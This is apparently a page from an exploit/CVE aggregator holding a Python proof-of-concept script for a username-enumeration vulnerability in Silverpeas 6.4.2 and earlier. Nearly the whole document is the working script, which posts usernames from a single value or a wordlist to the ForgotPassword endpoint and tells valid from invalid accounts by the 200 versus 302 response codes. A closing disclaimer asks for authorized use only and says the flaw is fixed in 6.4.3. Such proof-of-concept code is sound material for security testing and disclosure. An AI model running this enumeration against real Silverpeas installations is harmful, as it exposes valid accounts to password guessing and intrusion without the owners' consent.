4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / silverpeas_enum_poc.py PY
import requests
import argparse
import sys
from urllib.parse import urljoin

__author__ = "Shantanu Saxena (@https://github.com/J0ey17)"

ENDPOINT = "/silverpeas/CredentialsServlet/ForgotPassword"
STATIC_DATA = {
    "Password": "",
    "DomainId": "0"
}
VALID_STATUS_CODE = 200
INVALID_STATUS_CODE = 302

def check_username(base_url, username, session):
    """
    Checks a single username against the target endpoint.
    Returns True if potentially valid, False if potentially invalid, None on error.
    """
    target_url = urljoin(base_url, ENDPOINT)
    post_data = STATIC_DATA.copy()
    post_data['Login'] = username

    try:
        response = session.post(
            target_url,
            data=post_data,
            verify=False, # Set to True or path to cert bundle if target uses valid HTTPS
            allow_redirects=False, # VERY IMPORTANT! Prevents following 302 redirects.
            timeout=10 # Request timeout in seconds
        )

        if response.status_code == VALID_STATUS_CODE:
            print(f"[+] Username '{username}' appears VALID (Status: {response.status_code})")
            return True
        elif response.status_code == INVALID_STATUS_CODE:
            print(f"[-] Username '{username}' appears INVALID (Status: {response.status_code})")
            return False
        else:
            print(f"[?] Username '{username}' returned unexpected status: {response.status_code}")
            return None

    except requests.exceptions.Timeout:
        print(f"[!] Timeout connecting to {target_url} for username '{username}'")
        return None
    except requests.exceptions.RequestException as e:
        print(f"[!] Error checking username '{username}': {e}")
        return None

def main():
    parser = argparse.ArgumentParser(
        description=f"PoC for Silverpeas Username Enumeration (CVE-XXXX-XXXXX - placeholder). Author: {__author__}"
    )
    parser.add_argument("target_url", help="Base URL of the Silverpeas instance (e.g., http://target.com)")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--username", help="Single username to test.")
    group.add_argument("-w", "--wordlist", help="Path to a file containing usernames (one per line).")

    args = parser.parse_args()

    print(f"[*] Target URL: {args.target_url}")
    print(f"[*] Target Endpoint: {ENDPOINT}")
    print(f"[*] Checking for differing status codes ({VALID_STATUS_CODE} vs {INVALID_STATUS_CODE})...")
    print(f"[*] Script Author: {__author__}")
    print("-" * 30)

    session = requests.Session()
    session.headers.update({'User-Agent': f'Silverpeas-Enumeration-PoC ({__author__})'})

    usernames_to_test = []
    if args.username:
        usernames_to_test.append(args.username)
    elif args.wordlist:
        try:
            with open(args.wordlist, 'r') as f:
                usernames_to_test = [line.strip() for line in f if line.strip()]
            print(f"[*] Loaded {len(usernames_to_test)} usernames from {args.wordlist}")
        except FileNotFoundError:
            print(f"[!] Error: Wordlist file not found at '{args.wordlist}'")
            sys.exit(1)
        except Exception as e:
            print(f"[!] Error reading wordlist '{args.wordlist}': {e}")
            sys.exit(1)

    if not usernames_to_test:
        print("[!] No usernames specified or loaded.")
        sys.exit(1)

    valid_found = 0
    invalid_found = 0

    for username in usernames_to_test:
        result = check_username(args.target_url.rstrip('/'), username, session)
        if result is True:
            valid_found += 1
        elif result is False:
            invalid_found += 1

    print("-" * 30)
    print("[*] Scan complete.")
    print(f"[*] Potentially VALID usernames found: {valid_found}")
    print(f"[*] Potentially INVALID usernames confirmed: {invalid_found}")

if __name__ == "__main__":
    # --- WARNING ---
    print("="*60)
    print("DISCLAIMER: This script is a Proof-of-Concept for demonstrating")
    print("a specific username enumeration vulnerability in Silverpeas <= 6.4.2.")
    print(f"Author: {__author__}")
    print("Use this script responsibly and only against systems you have")
    print("explicit authorization to test. Unauthorized use is illegal.")
    print("This vulnerability is reportedly fixed in Silverpeas versions >= 6.4.3.")
    print("="*60)
    # --- END WARNING ---
    main()